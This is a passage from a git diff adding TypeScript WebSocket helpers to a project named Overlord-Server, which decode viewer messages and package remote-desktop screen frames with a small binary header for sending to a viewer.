userId, userRole } = ws.data; if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) { diff --git a/Overlord-Server/src/server/ws-viewer-utils.ts b/Overlord-Server/src/server/ws-viewer-utils.ts new file mode 100644 index 0000000..e27ffcf --- /dev/null +++ b/Overlord-Server/src/server/ws-viewer-utils.ts @@ -0,0 +1,74 @@ +import type { ServerWebSocket } from "bun"; +import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack"; +import { logger } from "../logger"; +import { metrics } from "../metrics"; +import type { SocketData } from "../sessions/types"; + +export function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null { + if (typeof raw === "string") { + try { + return JSON.parse(raw); + } catch { + return null; + } + } + try { + const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw); + return msgpackDecode(buf); + } catch { + return null; + } +} + +export function safeSendViewer( + ws: ServerWebSocket, + payload: unknown, + logContext = "viewer", +) { + try { + ws.send(msgpackEncode(payload)); + } catch (err) { + logger.error(`[${logContext}] viewer send failed`, err); + } +} + +export function buildViewerFrameBuffer(bytes: Uint8Array, header?: any): Uint8Array { + const meta = new Uint8Array(8); + meta[0] = 0x46; + meta[1] = 0x52; + meta[2] = 0x4d; + meta[3] = 1; + meta[4] = (header?.monitor ?? 0) & 0xff; + meta[5] = (header?.fps ?? 0) & 0xff; + const fmt = header?.format === "blocks" + ? 2 + : header?.format === "blocks_raw" + ? 3 + : header?.format === "h264" + ? 4 + : 1; + meta[6] = fmt; + meta[7] = 0; + + const buf = new Uint8Array(8 + bytes.length); + buf.set(meta, 0); + buf.set(bytes, 8); + return buf; +} + +export function safeSendViewerFrame( + ws: ServerWebSocket, + bytes: Uint8Array, + header?: any, + logContext = "rd", +): number { + try { + const buf = buildViewerFrameBuffer(bytes, header); + ws.send(buf); + metrics.recordBytesSent(buf.length); + return buf.length; + } catch (err) { + logger.error(`[${logContext}] viewer frame send failed`, err); + return 0; + } +}